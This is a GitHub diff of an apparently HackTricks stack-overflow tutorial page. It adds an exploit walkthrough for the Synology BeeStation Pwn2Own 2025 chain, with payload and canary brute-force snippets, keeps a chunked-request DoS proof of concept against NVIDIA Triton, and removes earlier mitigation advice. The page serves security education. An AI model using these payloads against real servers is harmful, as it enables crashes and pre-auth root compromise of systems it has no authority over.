Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 36 additions & 18 deletions src/binary-exploitation/stack-overflow/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -140,10 +140,7 @@ url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```

Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution). The lesson is simple:

* Always provide a **maximum field width** (e.g. `%511s`).
* Prefer safer alternatives such as `snprintf`/`strncpy_s`.
Even though stack canaries abort the process, an attacker still gains a **Denial-of-Service** primitive (and, with additional information leaks, possibly code-execution).

### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Expand All @@ -165,6 +162,9 @@ if (n > 0) {
3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). This makes `n` grow unbounded until the stack is exhausted.

#### Proof-of-Concept (DoS)
<details>
<summary>Chunked DoS PoC</summary>

```python
#!/usr/bin/env python3
import socket, sys
Expand All @@ -188,30 +188,48 @@ def exploit(host="localhost", port=8000, chunks=523_800):
if __name__ == "__main__":
exploit(*sys.argv[1:])
```

</details>
A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.

#### Patch & Mitigation
The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`:
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Synacktiv’s Pwn2Own 2025 chain abused a pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` on port 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes attacker input into a 4096-byte stack buffer but wrongly sets `decoded_len = auth_info->len`. Because the CGI worker forks per request, every child inherits the parent’s stack canary, so one stable overflow primitive is enough to both corrupt the stack and leak all required secrets.

#### Base64-decoded JSON as a structured overflow
The decoded blob must be valid JSON and include `"state"` and `"code"` keys; otherwise, the parser throws before the overflow is useful. Synacktiv solved this by Base64-encoding a payload that decodes to JSON, then a NUL byte, then the overflow stream. `strlen(decoded)` stops at the NUL so parsing succeeds, but `SLIBCBase64Decode` already overwrote the stack past the JSON object, covering the canary, saved RBP, and return address.

```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
```

#### Crash-oracle bruteforcing of canaries & pointers
`synoscgi` forks once per HTTP request, so all children share the same canary, stack layout, and PIE slide. The exploit treats the HTTP status code as an oracle: a `200` response means the guessed byte preserved the stack, while `502` (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside `libsynobeeadmincenter.so`:

```python
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
```

Lessons learned:
* Never call `alloca()` with attacker-controlled sizes.
* Chunked requests can drastically change the shape of server-side buffers.
* Validate / cap any value derived from client input *before* using it in memory allocations.
`bf_next_ptr` simply calls `bf_next_byte` eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.

#### From leaks to ROP & execution
Once the library base is known, common gadgets (`pop rdi`, `pop rsi`, `mov [rdi], rsi; xor eax, eax; ret`) build an `arb_write` primitive that stages `/bin/bash`, `-c`, and the attacker command on the leaked stack address. Finally, the chain sets up the calling convention for `SLIBCExecl` (a BeeStation wrapper around `execl(2)`), yielding a root shell without needing a separate info-leak bug.

## References
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
* [Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey](https://www.synacktiv.com/en/publications/breaking-the-beestation-inside-our-pwn2own-2025-exploit-journey.html)

{{#include ../../banners/hacktricks-training.md}}

Expand Down